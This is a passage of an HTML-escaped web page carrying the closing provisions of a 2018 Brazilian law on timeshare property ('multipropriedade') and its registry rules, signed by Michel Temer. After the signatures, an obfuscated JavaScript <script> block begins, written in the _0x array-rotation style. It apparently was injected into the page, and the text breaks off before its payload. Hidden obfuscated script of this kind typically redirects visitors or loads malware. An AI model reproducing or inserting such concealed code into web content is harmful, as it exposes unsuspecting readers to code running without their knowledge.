&nbsp;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<\/p>\n<p>II &#8211; &#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&nbsp;<\/p>\n<p>6) tratando-se de im&oacute;vel em regime de multipropriedade, a indica&ccedil;&atilde;o da exist&ecirc;ncia de matr&iacute;culas, nos termos do &sect; 10 deste artigo;<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<\/p>\n<p>&sect; 10. &nbsp;Quando o im&oacute;vel se destinar ao regime da multipropriedade, al&eacute;m da matr&iacute;cula do im&oacute;vel, haver&aacute; uma matr&iacute;cula para cada fra&ccedil;&atilde;o de tempo, na qual se registrar&atilde;o e averbar&atilde;o os atos referentes &agrave; respectiva fra&ccedil;&atilde;o de tempo, ressalvado o disposto no &sect; 11 deste artigo.<\/p>\n<p>&sect; 11. &nbsp;Na hip&oacute;tese prevista no &sect; 10 deste artigo, cada fra&ccedil;&atilde;o de tempo poder&aacute;, em fun&ccedil;&atilde;o de legisla&ccedil;&atilde;o tribut&aacute;ria municipal, ser objeto de inscri&ccedil;&atilde;o imobili&aacute;ria individualizada.<\/p>\n<p>&sect; 12. &nbsp;Na hip&oacute;tese prevista no inciso II do &sect; 1&ordm; do art. 1.358-N da Lei n&ordm; 10.406, de 10 de janeiro de 2002 (C&oacute;digo Civil), a fra&ccedil;&atilde;o de tempo adicional, destinada &agrave; realiza&ccedil;&atilde;o de reparos, constar&aacute; da matr&iacute;cula referente &agrave; fra&ccedil;&atilde;o de tempo principal de cada multipropriet&aacute;rio e n&atilde;o ser&aacute; objeto de matr&iacute;cula espec&iacute;fica.&rdquo; (NR)<\/p>\n<p>&ldquo;Art. 178. &nbsp;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.<\/p>\n<p>III &#8211; as conven&ccedil;&otilde;es de condom&iacute;nio edil&iacute;cio, condom&iacute;nio geral volunt&aacute;rio e condom&iacute;nio em multipropriedade;<\/p>\n<p>&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.&rdquo; (NR)<\/p>\n<\/blockquote>\n<\/blockquote>\n<p><a name=\"art3\"><\/a>Art. 3&ordm; &nbsp;(VETADO).&nbsp;<\/p>\n<p>Bras&iacute;lia, 20 &nbsp;de&nbsp; dezembro&nbsp; de 2018; 197<u><sup>o<\/sup><\/u>&nbsp;da Independ&ecirc;ncia e 130<u><sup>o<\/sup><\/u>&nbsp;da Rep&uacute;blica.&nbsp;<\/p>\n<p>MICHEL TEMER<br \/>\nTorquato Jardim<br \/>\n<em>Eduardo Refinetti Guardia<\/em><\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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